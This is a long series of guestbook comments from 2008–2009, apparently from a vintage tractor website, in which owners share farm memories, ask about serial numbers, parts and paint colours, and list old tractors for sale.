Ronald Clement wrote on Thursday, January 08, 2009 (PST): My memories of a Titan 10-20 When the wheat would get ripe my uncle Lester would hook horses to his McCormick-Deering binder and cut and bind the grain. We would then put the bundles of grain into shocks in the field. When the grain had dried for a day or two we would haul it in and stack it near the corral. The next day I would hear my uncle Doc comming down the road with his Titan pulling his thesher. He would set it up near the stack of bundles of grain and point the straw so it would be blown into the corral. The next day the crew would show up to run the thresher. Uncle Doc would start the Titan up do his adjusting and then start the thresher. Uncle Lester and I had climbed up onto the stack of wheat. We would start feeding the bundles of grain to the thesher. If we were lucky the breeze would be away from us. It never was all day. It was always hot and the chaf would stick to us and make us itchy. Yet these are good memories. The old Titan would sit there just a running like it enjoyed its job too with a little steam coming out of the barrel used for a radiator. This was in the late 1930 s and early 1940 s. I ask uncle Doc one time why he didn t get a newer tractor with rubber tires. He answerred me by saying that this Titan handles the thresher better than the newer tractors do. I enjoyed the threshing and the old tractor. I am not sure but I think uncle Doc told me it was a 1918. I know it sure look like the tractor in the picture except it was very dirty from the use it had been through. Ron.
Michael Cameron wrote on Wednesday, January 07, 2009 (PST):I have a 1959 D-14 with power steering and i am looking for a loader for it. I would like something a little more updated than the trip style that came with this tractor when it was new. Anyone have any ideas
lee thomas wrote on Monday, January 05, 2009 (PST):Thomas,the serial number and model number should be on the rear of the hood below starter switch and gauges if you can not see these numbers the mfg.date of engine is behinnd the generator
John wrote on Sunday, January 04, 2009 (PST):I am interested in buying a Super 44. PLEASE let me know if you can help. ph 563-568-1212 leave message Iowa
Thomas Barksdale wrote on Saturday, January 03, 2009 (PST):I would like to know where to find the model and serial numbers on my recently purchased Leader tractor. I live in Collinsville, AL. Also, with original starter and generator, should this be a 6 volt positive ground system I can send pictures if necessary.
Jim Stack wrote on Wednesday, December 31, 2008 (PST):My Dad and I have owned a G1050 diesel since 1976, we just overhauled the engine and clutch this past year. It is an excellent running tractor with serious torque. I have grown attached to it and could never sell it.
Lawrence D Barnhart wrote on Sunday, December 28, 2008 (PST):Im looking for rocker arm assembly 1937
KEN COX wrote on Sunday, December 28, 2008 (PST):I BOUGHT A 1961 2010 ABOUT THREE MONTHS AGO NOWING THAT THE TRANS NEEDED WORK, I AM A BIG GREEN AND YELLOW FAN AS MY FATHER WAS, HE TO BOUGHT A 2010 NEW IN 1961 THAT WE USED ON THE FARM FOR EVERY THING. HOW EVER I AM LOOKING FOR A PUSH PULL ROCKSHAFT CABLE #AT13231 IF ANY ONE HAS ONE PLEASE CONTACT ME.. 406 270 3029 MILES CITY MONTANA.. THANKS KEN
Phil Sholtis wrote on Saturday, December 27, 2008 (PST):Vernon, I have a 1949D Leader that my father had owned. It is in very good condition and runs great. I ve had it out of the weather since I had it restored to running condition in 1999-2000 timeframe. I live in northeast, Ohio in a small town called Austinburg. It s 50 miles east of Cleveland, Ohio 50 miles west of Erie, PA near Lake Erie...
Roger Gehring wrote on Friday, December 26, 2008 (PST):I think I have one of these. It is a deasel motor. Where do I find the serial # and the model # on the tractor. I want to restore it. Right now it only needs an ignition which I can t seem to find.
Chuck Reese wrote on Friday, December 26, 2008 (PST):I need a set of Cultivators for the AC-G. Please e-mail price, condition and location.
roger wrote on Thursday, December 25, 2008 (PST):hi did you know they put on the 1950 fuel tanks in the fenders
Vernon Vest wrote on Thursday, December 25, 2008 (PST):My father purchased a leader tractor in 1948 and i would be happy to take a leader of off anyone hand.
todd wrote on Thursday, December 25, 2008 (PST):I am looking for a 12 volt conversion kit for my super 55 oliver. 1955 Do you have any suggestions
Luis Sijas wrote on Tuesday, December 23, 2008 (PST):quiero informacion sobre el ford super dexta, ya que compre uno, necesito el manual del operador
jackie napier wrote on Monday, December 22, 2008 (PST):I own a leader tractor it was runing but it been sitting for a long time I live in yatesville Ga,want to sell it
Dale Frasca wrote on Sunday, December 21, 2008 (PST):I have what I think is a to20. No tags on the cowl, no tags on the engine block. I do see casting # s on the transmission housing rear end . Please help. How do I determine what I have . Could it be a to 30 What year might she be ... Possible differences in body style to look for uummm anything might be helpfull....Thanks
charles mcfarland 4o6-669-3113 wrote on Sunday, December 21, 2008 (PST):I have a 99 6 cylinder desiel tractor I need a engine or will sell. Tin in very good shape give me a call
Joe Arman wrote on Sunday, December 21, 2008 (PST):I just bought one its running older restoration looks good its for sale 419-853-4616 Joe
Johanne wrote on Tuesday, December 16, 2008 (PST):My fathet had one and I often went with him to cut the hay. I have good remembers with it. It had a loder too.
Roger Howell wrote on Monday, December 15, 2008 (PST):I am looking at a 480V EM generator powered by an Allis Chalmers engine natural gas powered If I could find out who made the flat head six, perhaps I could look into converting to carb. Mod - L - 525 On block - 7 16 7 On other side of block - 4651581 Can you help
Lon Welch wrote on Sunday, December 14, 2008 (PST):My great grandfather and his brother both had Yuba tractors early 1900s ; their farms were located in southeastern Washington State. An elderly neighbor told of watching my grandfathers tractor work pulling a combine. When they came to a hill the tractor couldnt pull, the front of the tractor would rare up. They then stopped and hooked a team up to help the tractor over the hill. If the tractor went over a wash some of the track roller balls would fall out. They would pick them up so they could be put back in place when servicing the tractor at the end of the day. They build shades over the tractor that ran the full length of it. This is hot country in the summers, I cant imagine how much work or how uncomfortable it was for the operator of the tractor. I have a picture of one of the tractors hooked to a combine but it is poor quality and hard to see a lot of detail. Thanks to this site for providing a much sought after photo of the Yuba tractor.
David HInes wrote on Sunday, December 14, 2008 (PST):My HDE Hydrulic filter is on the side of the hydro. tank up front with the pump. I need a final drive shaft for the drive sprocket on my HDE does anyone know where i can get one
David HInes wrote on Sunday, December 14, 2008 (PST):My HDE Hydrulic filter is on the side of the hydro. tank up front with the pump. I need a final drive shaft for the drive sprocket on my HDE does anyone know where i can get one
Glenn Dreyer wrote on Sunday, December 14, 2008 (PST):I m buying a 1958 ford 541 tractor,want to restore it.Can you tell me where I can find pictures,plus parts they seem to be hard to find.Thanks Glenn NH
Duane Moffitt wrote on Thursday, December 11, 2008 (PST):Just purchased 1958 IH 300 Utility. Dose it have a frost plug and where is it located
Henry Hahn wrote on Monday, December 08, 2008 (PST):Mike I am the Pres.of the Leader tractor club,send me a picture of the leader for an estimate of it value.
fred shohayda wrote on Sunday, December 07, 2008 (PST):need a radiator good or bad for a coop c or info on who could make me one thanks
Flora Hayes wrote on Friday, December 05, 2008 (PST):I had the same problem with my 1925 McCormick Deering 10-20. There are two possibilities on how to identify the year. first, look on the left side of the engine block, stamped into it should be the serial number. provided the engine was never changed. Next look under the tractor. The main tractor housing , or tub, wich houses the trans, and undercaraige, in the middle right directly below the gear shifter, there are raised numbers in the casting. It will tell you the date of the casting, not the tractor year, but it will get you close. On mine it said 4 feb 1924, my serial number on the block showed it to be a 1925. Hope this helps.
John Westling wrote on Tuesday, December 02, 2008 (PST):I m in need of an electric starter for a TD-35. Any information would be appreciated.
josh wrote on Sunday, November 30, 2008 (PST):my buddy is looking at trading his straight m on this w-9 and idea where we can find info on it i am not sure what year it is but the serial #is wcb33536w12b. i have grandpa and his buddy s looking into it just lookin for some more info.
George Gleasure/J. anderson wrote on Thursday, November 27, 2008 (PST):We are searching for a Massey Harris 55 diesel in Ireland or in Pennsylvania. Can you help us
wes p. wrote on Monday, November 24, 2008 (PST):dose anyone know what the paint color is and where can i find it thanks wes
Al A wrote on Friday, November 21, 2008 (PST):I am in the process of restoring a Super H and wondering as to what color the axels should be painted to be orginal. They appear they were red, but I have been told they should be black.
Duane Beals wrote on Thursday, November 20, 2008 (PST):I have a W4 to sell. Has farmhand loader with snow scoop. Runs and looks good. What is this worth
eugene st-jean wrote on Tuesday, November 18, 2008 (PST):looking for a traction booster valve assembly for my d12 tractors serial no d12-3089-1 year 1962
Bob Turner wrote on Sunday, November 16, 2008 (PST):I bought a new Silver King tractor in 1951, still have it, I m in the process of restoring it. The tractor was not painted the silver that is shown on most of the Silver Kings I have seen, it was more of a gray color. Would anyone know what color I m talking about
Stevens Maltais wrote on Sunday, November 16, 2008 (PST):Where I can buy sleeves for an Oliver 60 Standard with a Waukesha motor 121 CID 2.0L 160 Thanks a lot
Mike George wrote on Sunday, November 16, 2008 (PST):I just bought an old home, there is a 1949 Leader in an open shed, The tires are still up, looks in decent shape, what are these things worth Mike
Dennis Fixsen wrote on Friday, November 14, 2008 (PST):My grandpa s 1936 Model D serial# 125652 is currently sitting in a tree row on a farm south of Goodland, KS where we parked in it 1969 with still 3 of the original 4 tires on the tractor. On March 18, 1936, he traded an earlier model D serial# 32207 with steel wheels, for the 36 D with rubber tires. The sticker price for the new 36 D was 1490.00, including new wheel weights too, and they gave him 300 trade-in price for the older D. How do I know this I m sitting here now holding the original bill of sale from March 1936. Somehow, my family has perserved this document all these years. Amazing, eh I love old JD s and I love reading all the stories and comments on this website.
Matt McGarrity wrote on Friday, July 25, 2008 (PDT):I believe I have an O-14, but am having difficulty finding any information on it- manuals, etc...any ideas New York
Jay Nelson wrote on Friday, July 25, 2008 (PDT):I am in the process of restoring a 1949 MT and just received the new decals, however, it didn t come with a placement guide, so I don t know where to place them. Could someone send us pictures of all the decal locations Thanks!
Ed Hornback wrote on Thursday, July 24, 2008 (PDT):I hobby farm in Southern Indiana and own an AC Two Twenty like in the photo. It is really a pleasure to work ground and will pull a nine shank chisel plow with good speed; maybe running a little more than 135 hp though.
Bill Hipkiss wrote on Wednesday, July 23, 2008 (PDT):I am looking for a rear 26 poweradjust rim for an Oliver 550 tractor in very good condition. Please contact me if you have one and provide me a phone number for further clarification. I am in West Virginia. Thank you.
ken wrote on Sunday, July 20, 2008 (PDT):loohing for a 9-32 used tire live in hamilton on can
Kees Rijzebol wrote on Tuesday, July 15, 2008 (PDT):In response to BRETT 2007 Oct. 18 and 2007 Dec. 13 In June 2008 I did buy a Field Marshall Series III, most probably see below a Series IIIA but a green one . I am living in The Netherlands. My name in English should be pronounces as about Case Ryzebol. There are three identical S/N s 15908; 1. As the final information on the oblique or inclined dash plate with warnings on it between the left mud or wheel gard and the fuel tank . 2. Somewhere above the pulley. 3. A cast number on top just aft of the cap to add water or cooling fluid. I did find the following information on Internet; Field Marshall Series 3A serial no. 15207 onwards Spares List p/copy, 86 pages. From this I concluded that Series IIIA are from that S/N. Above Jim Wheale 2005 Dec. 13 wrote that Series III with S/N #0075 is the 75th Series III. It might be 10075, because of all other S/N s I have seen on Internet.
Ed Sherwood wrote on Thursday, July 10, 2008 (PDT):My brother had a D15 back in the 60 s. I was helping him fill silo. He had just purchased two new AC power takeoff chopper wagons and a new AC power takeoff blower. The AC salesman was trying to sell a new blower to my brother s neighbor and brought him to see ours. I had a WD45 hooked to the wagon and the D15 was on the blower. The silo was 50 feet high. I starded the D15 and opened the WD wide open and kept it going until the wagon was empty. I figued I would either plug the blower and stall the D15. It did not happen the wagon was empty and the salesman and farmer just stood there in awe, so did I. It was a great tractor, one of the best AC ever built.
kent covert wrote on Tuesday, July 08, 2008 (PDT):does anyone know what a super 99 6 cyl is worth. very clean, thanks
Leo Spohr wrote on Friday, June 27, 2008 (PDT):Back in Feb 2008 you said that you have two leaders. An you might just sell one, I realze you also said that they both need to be restored. I would be interested in one. Please call 585-682-3032... PLEASE if noone is there PLEASE leave a message.... Leo
Chee wrote on Wednesday, June 25, 2008 (PDT):I would like to get the color for a sickle more I think it was made around late 50 s. Made by Cockshut. It was pushed in a pile and my brother and I rescued it. And want to restore it and put it on the front lawn. There is a rake and a plow from around the same time as well. The Plow can be restored as well. But the rake is to badly damaged ; Can you help me with the colors ...it looks like the wheels were a cream color That is all I can tell I was going to go with my imagination for the rest.
Kim Davis wrote on Tuesday, June 24, 2008 (PDT):I have a model 40 Massey Ferguson,that was recently crushed in my corn crib during a tornado. I have been looking for body parts ever since with no success. Can anyone give me a lead on parts. Also a gas tank and radiator are needed.
David Cotton wrote on Tuesday, June 24, 2008 (PDT):Trying to locate my grandfathers 1935 B. Serial number is 5441 or 6602. Please contact me with any info on these serial numbers. Dave Cotton, Oregon, MO. 660-446-2357
Dan Wallenta wrote on Monday, June 23, 2008 (PDT):This is fun reading the articles on the MH44. I also grew up with a 44D and later my Dad bought a 44 gas with a loader on it. Now both tractors have been in a shed and not used for over 20 years I believe the 44D is a 1949 and has a wide front on it and also have the narrow front somewhere. The 44 gas I believe is a 1954 but I will get the serial numbers this weekend when I am at the farm. Both are original and have not been rebuilt. Any idea what these might be worth Or where I could get info. on this.
Kevin wrote on Sunday, June 22, 2008 (PDT):I need to know the colors of a 15-25 Rock Island
John Sunstrum wrote on Sunday, June 22, 2008 (PDT):Am looking for steering gear parts for my 1957 Super 55. Need recirculating ball nut and possibly other parts. Anyone know of a source Thanks!
Eldred Stigleman wrote on Sunday, June 22, 2008 (PDT):I would like to know the color code of the orange paint used on a 1952 co-op THANKS
Jim Tatum wrote on Sunday, June 15, 2008 (PDT):Lee, We ve brought the tractor home. it s in amazing condition - never left out in the weather in 60 years. We ve replaced the wires, battery, and other stuff and have driven it around. Do you belong to a club What is the general feeling about a leader compared to other, better known tractors I d be interested in anything you can tell me.
George Mayer wrote on Sunday, June 15, 2008 (PDT):I have a 1952 model 30 cockshutt and when you run down the road the rear end makes a constant whining noise,but when y ou push in the clutch it stops. What can I do to fix it
Floyd B. Johnson wrote on Friday, June 13, 2008 (PDT):I have a 1957 supper 44 that I will sell. It runs very good but needs paint, has 3pt and mid mount lift also cult., front wheel weight, pto belt pully. e-mail or phone me at 218-965-4833
Chris Turner wrote on Tuesday, June 10, 2008 (PDT):I have a 1943 I-9. I would like to sell it to somebody that can restore it. It ran a few years ago when I parked it.
tom stults wrote on Tuesday, June 10, 2008 (PDT):would like to buy a oliver 80 row crop. Gas on rubber. Please advise.
LEE TURNER wrote on Monday, June 09, 2008 (PDT):i FOUND A case SER# 5101972 SC THE SHEET METAL IS REAL GOOD, THE MOTOR IS NOT LOCKEDUP,IT HAS A HAND CLUTCH ,GOOD TIRES,AND A WIDE FRONT END. CAN SOME ONE TELL ME A LITTLE ABOUT THIS TRACTOR THANKS
daniel m hooverson wrote on Sunday, June 08, 2008 (PDT):I have a 720 gas. Wide front with 3pt. Anybody know if the gas tractors came with the air cleaner stack like the diesel above Where could I get one E-mail at slickeroo at mwt.net
lee thomas wrote on Wednesday, June 04, 2008 (PDT):the 1948 leaders had a front axle that sloped from the center down to each wheel the 1949 had a straight front axel if you look behind the generator the dat is cast in the block i have a 47,5 48, 1 49
Roland P. Nelson wrote on Monday, June 02, 2008 (PDT):I ve retreaded instead of retired. I m busy with salvaging metal from places in my area. Come across an International 560 wide front , siting unused for some time. Will be contacting the owner very soon for history etc. What s it worth for scrap parts etc. Tractor is a diesel, pto, and hydrulics. What years was this unit made. Anyone interested Will take photos etc., and gladly provide more details to you. Tractor is located on Vancouver Island, B.C. Canada. Phone 250-951-0863 - have answering machine. June 2, 2008. Rolly
Andrew Taylor wrote on Saturday, May 31, 2008 (PDT):All C and super C s had the rockshaft lift. The differences are as follows. 1 The super C can be identified by several things. 2 four rock shafts on the touch control rather than three. 3 Disc brakes, instead of band brakes. The clutch and brake pedals are different. 4 the 123 engine has a small wedge cast into the block directly below and between the carb, and oil pan 5 The clutch plate inspection hole is a different shape 6 The grille, radiator, and gas tank support is taller on the super c 7 the steering wheel is larger 8 Super C s has a touch control temprature gauge
Jim Tatum wrote on Tuesday, May 27, 2008 (PDT):My freind has called and the Leader is a 48D. He said the numbers were;10-451. I think that s one too many. I ll have to look closer this weekend... when was the last Leader made Were there any in the 1950 s
KEN PRICE wrote on Tuesday, May 27, 2008 (PDT):I M LOOKING FOR A FUEL TANK DIESEL FOR A SUPER DEXTA PROBABLY ABOUT A 1964 MODEL. PLEASE CALL ME 903 244-3877
Jim Tatum wrote on Monday, May 26, 2008 (PDT):Yesterday my friend picked up a Leader tractor on my behalf. I haven t seen it yet, but he says the number on the motor is; IXB - 5-3-1-4X4 1299455 008 006 It s made in Chagrin Falls, Ohio I haven t seen it yet. My friend couldn t find the year and serial number. I ve asked him to look tomorrow at the dash, as you instructed. Hopefully we ll know tomorrow. In the meantime, does this engine number mean anything to you What years was it used I d appreciate any help you can give on identifying this tractor. I ll see it this weekend. it s reported to be in great shape...thanks for your help, Henry. You seem to be the one that answers so many questions...Jim Tatum
Bill Beadles wrote on Monday, May 26, 2008 (PDT):All you need to do is buy the magazine Cockshutt - The Complete Story . It has paint colots and codes. Bill Beadles
Elaine Davis wrote on Monday, May 26, 2008 (PDT):I grew up in Cohocton NY. My dad purchased a 1952 Shepherd Diesel tractor. It was huge and bright orange and we thought it was wonderful. He bought it new from a tractor place in Batavia NY. Years later, my dad died and my older brother took over farming. The tractor quit working and was abandoned in the farm junk yard. Someone came along and wanted to buy it and my brother sold it for junk. Now 2008 another brother is very interested in old tractors. He has made it a goal to locate our dad s old tractor. He has the serial number and is offering a reward to anyone who can help him find out where this tractor ended up. He would love to get it back. Can anyone help ,,
Carl Robinson wrote on Monday, May 26, 2008 (PDT):Am in need of a front grill assembly that the left and right yellow grill covers attach to on a super 55 diesel. Would appreciate any help. thanks. ph 701-258-6321
JACK wrote on Saturday, May 24, 2008 (PDT):Can any one tell me if the 880 is neg. or pos. ground. THANKS MUCH JACK
roger pierce wrote on Wednesday, May 21, 2008 (PDT):i recently bought a jd D at an auction got it home and found out the block near the spark plug hole is cracked can this be fixed and if so how do i go about it thanks
Jay wrote on Wednesday, May 21, 2008 (PDT):Gus - seein as how it s May you ve probably figured this out already. The wire from your start switch or button will run to one side of the lever switch. Off the other side of the lever switch run to the appropriate terminal on the solenoid. This prevents the starter from cranking if the lever is not engaged.
Dave wrote on Wednesday, May 21, 2008 (PDT):for the posting above on the OC-3 I m selling, my number is 860-748-7924 in Connecticut
Dave wrote on Wednesday, May 21, 2008 (PDT):I have a complete OC-3 that I m selling. It has a Herculese IXB-3 engine and a Ware loader with a bucket and a blade. It s had the entire engine rebuilt. Ran last year hasn t been started yet this year. Tracks and lower end in good shape. Recently replaced brake bands. Hydraulics work well. Will part out if I can get enough requests or will sell as complete machine.
cody bodiford wrote on Tuesday, May 20, 2008 (PDT):i have a 1950 oliver with a 4 valve 453 gm diesel i use it all for tractor pulling so far i have beat everyone i ve pulled against i like to here the thing scream and see all that black smoke role out let me tell you them things are awsome on pulling PLUS I HAVE A OLIVER 66 FOR SALE 800 RUNS GOOD JUST NEEDS SHEET METAL HAS GRILL NEW CARB ELCTRONIC IGNITION IF INTERESTED PLEASE EMAIL ME OR CALL 254-746-7920
Ben Walker wrote on Monday, May 19, 2008 (PDT):I am looking for someone to display a MH GP at the Root River Antique Engine and Tractor Show near Spring Valley MN July 18, 19, 20. We are featuring AC tractors and Vintage 4WD tractors . A GP would be a huge attraction and we would love to see one here!
Allan Ayotte wrote on Sunday, May 18, 2008 (PDT):Looking for paint colour numbers for a 1940 Cockshutt 70 sold in canada. Can anyone help. Thanks
gary catton wrote on Saturday, May 17, 2008 (PDT):i please have bought a 1947 massey harris 55 i want to restore can enybody help with tin parts and a manual
meds wrote on Saturday, May 17, 2008 (PDT):best medical discount
Bob Gauck independence ky. wrote on Friday, May 16, 2008 (PDT):On my 800 just bought sr# is located on left side from rear just in front of steering control punched in trans housing it can be translated by buying a manual FO-20 Ford Manual Published by I T shop manual PO Box12901, Overland Park KS. 66282-2901 for about 39.00 I purchased mine at Tractor Supply Stores here in northern ky Hope this help someone who needs help my 800 is a 6.00volt Pos grnd system good luck.
Dallton Cassatt wrote on Friday, May 16, 2008 (PDT):I am looking for one just like the one in the picture.Pay not much.
dennis johnson wrote on Wednesday, May 14, 2008 (PDT):I know of a hercules engine that is sitting in my fathers yard could be used for parts. I have just gotten my oc3 running it has a ware loader and a cycle mower
dennis hight wrote on Tuesday, May 13, 2008 (PDT):i just bought a oc6-68-G I need to find what it weighs it is bare no blade or implments.ineed to tow it home. any info will help thanks Dennis Hight
Leroy Hamann wrote on Monday, May 12, 2008 (PDT):I own a 560 gas that has a bad knock on the top of the engine, my dad has a 560 diesel and needs a crankshaft and main cap anyone have any info or parts also need a TA. both of these tractors have been used hard for a lot of years and usually just keep on going but eventually you got to fix even the best.
Donald Harder wrote on Monday, May 12, 2008 (PDT):I just found a 1950 W4 in the woods and now have it in my garage. Engine appears to be seized, left rear wheel won t turn and needs a good soda blasting. I now have it half pulled apart and look forward to restoring it. One thing I did find out. These Tractors are not worth much, even when restored. Nonetheless, I look forwaed to my new toy.
lee thomas wrote on Friday, May 09, 2008 (PDT):what kind of tractor are you selling
ROD RACKERS wrote on Thursday, May 08, 2008 (PDT):I have a complete tractor selling on consignment sale to the highest bidder on May 17 at Boonville MO. It needs complete restoration.
Craig Shaw wrote on Saturday, May 03, 2008 (PDT):I Have a John Deere L unstyle I is is rusted and the Engine is lock up I had offers I am not sure what to sell it forit
Whitney Noel Jr. wrote on Friday, May 02, 2008 (PDT):My uncles farmed rice and owned three of these tractors. What pulling old gals they were. If you could hitch it, it could pull it. That wonderful GM made pure music when it was working. Spent many a summer seated on one of those machines. Loved every minute. Thanks for the memories.
Gary Oglestone wrote on Thursday, May 01, 2008 (PDT):Reply to Vicki s note of May 2007.I would be interested in at least one of those if the blocks aren t cracked or corroded.
Carl R. wrote on Tuesday, April 29, 2008 (PDT):Am interested in buying a Super 44. If anyone has one please call or email me. thanks for your help. Ph 701-258-6321
RORY SKROCH wrote on Monday, April 28, 2008 (PDT): BACK SOME MANY YEARS AGO MY FATHER HAD MANY 560S AND ALOT OF FARMALLS AS WELL I REMEMBER THE 560S HE HAD VIVIDLY AND THE GREAT SOUND THAT THE ENGINE MAKES AS OTHERS HERE HAVE SAID THEY ALSO MADE A HELL OF A PULLING TRACTOR FOR TRACTOR PULLS TOO AND THEY BEAT MANY A JOHN DEERE 4020 IN THEIR DAYS MY FATHER AND I HAVE THE TROPHYS TO PROVE IT!!!! MAY THE RELIABLE RED 560 FARMALLS LIVE ON IN OUR HEARTS AND IN OUR MEMORIES!!! THEY WERE A TRACTOR THAT WOULD NEVER QUIT GIVE YOU AN HONEST DAYS WORK WITH VERY LITTLE FUEL CONSUMPTION AND ARE STILL IN USE WIDELY EVEN TODAY ALL HEIL THE 560!!!!
Duane Dingmann wrote on Sunday, April 27, 2008 (PDT):I am interested in adding a Super 44 to my collection of smaller tractors. If anyone has one for sale please e-mail me or call me. 715-834-0242 Wisconsin
glenn tiner wrote on Friday, April 25, 2008 (PDT):I manage the Buda Engine Company in Shreveport, La. We specialize in old Buda and Allis Chalmers engines, which were used in a lot of old Cockshutt and Co-op tractors. The B153 is Buda, also the 262 and 273. There are many more.
Kirk Flammang wrote on Sunday, April 20, 2008 (PDT):I am looking for the late model B that my Dad owned. It was traded into J L Implement in Sioux City, IA. in 1967. It was believed to be a late 1949 or early 1950 model. It has square axle housings, roll-a-matic, and the early-style hydraulic valve with the knurled nuts. Any help in locating the tractor would be appreciated. My phone number is 712-239-1643.
Bob Berryman wrote on Sunday, April 20, 2008 (PDT):I bought a 1957 super55 gas 4yrs ago. It s a little rough to look at but boy does it run good. It has more power than my brothers 800 Ford,just wish it had power steering. If anyone knows where I can get an original unit or an after market unit please let me know. Call 208-365-4102 leave message and I will get back in touch with you.
David Parker wrote on Wednesday, April 16, 2008 (PDT):I have an old horsedrawn Judy Cockshutt plow . I would like to paint it. Does anyone know of a site where I can view a picture of this plow I d appreciate any info you might have on possible year it was manufactured. Thanks.
Jerry Sarchet wrote on Wednesday, April 16, 2008 (PDT):The serial number for the 2010 s is located right under the coil or down under and behind the genator on the motor. The 3010 s and 4010 s had the serial numbers behind the seat. John deere did not etch serial numbers in the casting of parts, most of those are part numbers. Thanks
RCW wrote on Sunday, April 13, 2008 (PDT):The 880 was and still is one of the best tractors Oliver built!
John B wrote on Sunday, April 13, 2008 (PDT):I have a MM UT100D in fair shape hard to start , and I d like to know what to ask for it, or if anyone is interested.
Peter Grubb wrote on Friday, April 11, 2008 (PDT):This was the first type of tractor thta I learned to drive back some 40 years ago. Was fortunate to be able to purchase a 1951 W4 last spring, all original, all tin in great shape. With a new battery it starts on the second turn over when cold and on the first turn when warm. Used it to rake 50 acres of hay last year, bringing back lots of memories.
Ronnie Lee wrote on Friday, April 11, 2008 (PDT):My Mother recently passed away and I now have the opportunity to sell the tractors. She had a C and a Super C and also an F-12 or F-20. I m not sure until I locate the serial # because I understand that this is how I can tell. The C is in working order because I recently used it to haul wood that I cut for her wood stove. The Super C had the cap knocked off and probably took water in. There is also the bars and some equipment that fits them. I need a reliable buyer for these but am not out to rip anyone off. If interested I live in Sedalia Missouri and if you call, I can call you back because I have unlimited calling so we can discus these and where to find the serial numbers and then I can send digital photos. Thanks in advance,Ron Lee
trent ashby wrote on Wednesday, April 09, 2008 (PDT):hi i just purchsed a mh55D serial # 55D W1014 . What does it all mean in that serial # and needing a front rim and an owners manual..Any help would be of great help...thanks can call at anytime.. 970 210 8319
dale johnson wrote on Tuesday, April 08, 2008 (PDT):To Jerry Herger, I have a 1958 550 oliver that has red rear rims. I am presently restoring. Haven t seen any on any internet site.
Ed wrote on Monday, April 07, 2008 (PDT):our 770 diesel has been my dad s baby. I remember once in a while riding with him in the field he would tromp the brakes and pull it down. boy the black smoke rolled! he said it was good to blow the carbon out once in awhile. was a little cold blooded at times even with the preheater button. and the whine that s when I knew it wasa running good. can still hear it now in my mind. always sounded that way. great old tractor. dad said he drove the best and serviced the rest as he worked part time as a mechanic. massey and deere.
Bill Butler wrote on Monday, April 07, 2008 (PDT):I have a 1940 L SN 631055 that was parked in 1952 by a gentleman who used it on his 4 acre garden.He emptied the gas tank,greased all the bearings,changed the oil,put a coffee can over the exhaust and sometime that winter passed on.The little L stayed parked in the barn ever since,was never even turned over,I believe.The barn was about ready to fall in and the person that now owns the property asked a good friend of mine if he knew of anyone that would be interested in the little putt-putt.We got up there 2 years ago loaded it up and brought her home.Rebuilt the engine,put new tubes on the rear,new tires and tubes in front,sandblasted,primed and painted,after stripping everything off.Now she runs like a swiss watch.I even got the original umbrella that was in a canvas sack for the tractor
ron sutherland wrote on Sunday, April 06, 2008 (PDT):I would be looking for a MM G-1050 in running order or not. please call at 450-264-4632
Corey wrote on Friday, April 04, 2008 (PDT):Yeah, my grandfather just got done doing a full restoration on his 1975 766. He got it completely rebuilt from the ground up. He s showing it, and is right now one-for-one in local shows. Oh, yeah, it might have come stock with only 80 horsepower, but just a short time after buying it new, he put a blower on it. Right now she s cranking around 115. She ll pull circles around anything. But now it s only a show tractor. It s hard to beat those old tractors.
Michael Frederickson wrote on Thursday, April 03, 2008 (PDT):HI I had a MH 55 gas,MH 22 narrow frount for 12-15 years.Sold my land,guy said you can store tractors here. who bought the land-a good friends dad.I Go to pick up tractors both are gone-STOLEN!! and some other equiptment. From Boscobel WI. The 55 was my baby!Has custom 4 stack exaust,power steering,3-point hitch, a loader frame without the rams,arms,and bucket.no belt drive,and good tires.STRONG RUNNER!!fair paint,excelent body no dents.The 22 massey has, wide rear tires-good,clean body,fair paint,gas but smokes a little,more down hill.I have the grill at the shop.PLEASE HELP SOMEONE! if you can REWARD!THANX Mike Frederickson 608-239-0113 or 608 255-4114 Any leads would help! Madison WI
Michael Frederickson wrote on Thursday, April 03, 2008 (PDT):HI I had a MH 55 gas,MH 22 narrow for 12-15 years.Sold my land,guy said you can store here-good friends dad.Go to pick up tractors both are gone-STOLEN!! other equiptment From Boscobel WI. The 55 was my baby!Has custom 4 stack exaust,power steering,3-point hitch,and a loader frame-the loader,no belt drive,and good tires.STRONG RUNNER!!fair paint,excelent body no dents.The 22 wide rears good,clean body,fair paint,gas but smokes a little,more down hill.I have the grill at the shop.PLEASE HELP SOMEONE! if you can REWARD!THANX Mike Frederickson 608-239-0113 or 608 255-4114 Any leads would help! Madison WI
Tom Toohill wrote on Thursday, April 03, 2008 (PDT):I and my brother have been overhauling our recently purchased fence row G 1000 vista tractor. We found a man in Missouri that is the best around for getting any part you might need for an MM. He works and rebuilds parts on them as well. He also has a few tractors around for parting out. He is eager to help you with any problems and has answered any thing we asked with great knowledge ! Terrific guy Danny s Repair Service Marceline, Mo 660-222-3371
ROGER TURGEON wrote on Wednesday, April 02, 2008 (PDT):I HAVE COCSHUTT MODEL 60. THE SERIAL# IS 412916. THERE IS ANOTHER # 160120E. I ALSO HAVE THE ORIGINAL OWNERS MANUAL AND THE DATE ON THE MANUAL IS 7-17-47. IS THIS A 1948! I WOULD LIKE TO KNOW HOW MANY HORSEPOWER IT IS.I USE IT ALL THE TIME WORKS LIKE A CHARM.
michael procak wrote on Tuesday, April 01, 2008 (PDT):i own a 420c and recently broke a already welded track link .if someone could point me in right direction to get my hands on track parts i would really appreciate it
Robert Brown wrote on Monday, March 31, 2008 (PDT):I have never known an Oliver tractor to not whine while in motion. I grew up driving a 77 and thoutht all tractors whined like an Oliver. Even the later models whined. Maybe someone older than me or an Oliver expert can explain why they all do this. The best sound I remember is the whine got louder as the gear range got higher. This equates to the loudest it whined is when I was in road gear headed for the house.
Chy Brown wrote on Sunday, March 30, 2008 (PDT):DAVE BIRDSEY from 7/2/06 I have an IHC A-21 sicklebar mower that is complete and in great condition. Located in Finger Lakes area of NY. 607 243 5997
mac pace wrote on Sunday, March 30, 2008 (PDT):There s an old farmer with a 1951 SD-3 near my home. Its in fair shape and is running. He wants to sell it. If you are interested, i have some pictures. Send me an email at jpace1620 at charter.net. Located near St. Louis, MO.
steve orinick wrote on Friday, March 28, 2008 (PDT):I have a mt that is between the years of 49 to 52 not sure what year it is got a new head for her and would like to know what torque the head bolts should be
Dwaine wrote on Wednesday, March 26, 2008 (PDT):My dad owned one. It was a bad dog now I tell ya! You could hook 5 bottom plows behind it and it would still eat just about any deere you put around it. We did everything with that tractor. My dad ended up selling it to a tractor pulling team i believe.
Jim Kitch wrote on Wednesday, March 26, 2008 (PDT):--JOE CRAMER-- Do you still have the MM G1000s for sale. I also live in Western Kansas. Please call me at 785-754-8174.
